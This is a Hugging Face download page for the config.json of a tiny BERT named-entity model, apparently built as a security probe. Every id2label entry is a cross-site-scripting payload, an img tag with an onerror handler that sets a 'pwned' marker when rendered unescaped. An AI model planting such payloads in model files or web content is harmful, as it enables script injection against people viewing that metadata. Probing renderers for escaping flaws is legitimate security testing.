Instructions to use moosemandada/tiny-ner-probe with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use moosemandada/tiny-ner-probe with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("token-classification", model="moosemandada/tiny-ner-probe")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForTokenClassification tokenizer = AutoTokenizer.from_pretrained("moosemandada/tiny-ner-probe") model = AutoModelForTokenClassification.from_pretrained("moosemandada/tiny-ner-probe", device_map="auto") - Notebooks
- Google Colab
- Kaggle
Download config.json from moosemandada/tiny-ner-probe: direct link, hf CLI and curl.
- Browser
- Download file 1.67 kB
-
https://huggingface.co/moosemandada/tiny-ner-probe/resolve/main/config.json
- Command line
-
hf download hf://moosemandada/tiny-ner-probe/config.json
-
curl -L -o config.json https://huggingface.co/moosemandada/tiny-ner-probe/resolve/main/config.json
1.67 kB
| { | |
| "_name_or_path": "Narsil/small2", | |
| "_num_labels": 9, | |
| "architectures": [ | |
| "BertForTokenClassification" | |
| ], | |
| "attention_probs_dropout_prob": 0.1, | |
| "classifier_dropout": null, | |
| "directionality": "bidi", | |
| "gradient_checkpointing": false, | |
| "hidden_act": "gelu", | |
| "hidden_dropout_prob": 0.1, | |
| "hidden_size": 2, | |
| "id2label": { | |
| "0": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "1": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "2": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "3": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "4": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "5": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "6": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "7": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>", | |
| "8": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>" | |
| }, | |
| "label2id": { | |
| "B-LOC": 7, | |
| "B-MISC": 1, | |
| "B-ORG": 5, | |
| "B-PER": 3, | |
| "I-LOC": 8, | |
| "I-MISC": 2, | |
| "I-ORG": 6, | |
| "I-PER": 4, | |
| "O": 0 | |
| }, | |
| "layer_norm_eps": 1e-12, | |
| "max_position_embeddings": 512, | |
| "model_type": "bert", | |
| "num_attention_heads": 2, | |
| "num_hidden_layers": 2, | |
| "pad_token_id": 0, | |
| "pooler_fc_size": 768, | |
| "pooler_num_attention_heads": 12, | |
| "pooler_num_fc_layers": 3, | |
| "pooler_size_per_head": 128, | |
| "pooler_type": "first_token_transform", | |
| "position_embedding_type": "absolute", | |
| "transformers_version": "4.27.0.dev0", | |
| "type_vocab_size": 2, | |
| "use_cache": true, | |
| "vocab_size": 28996 | |
| } | |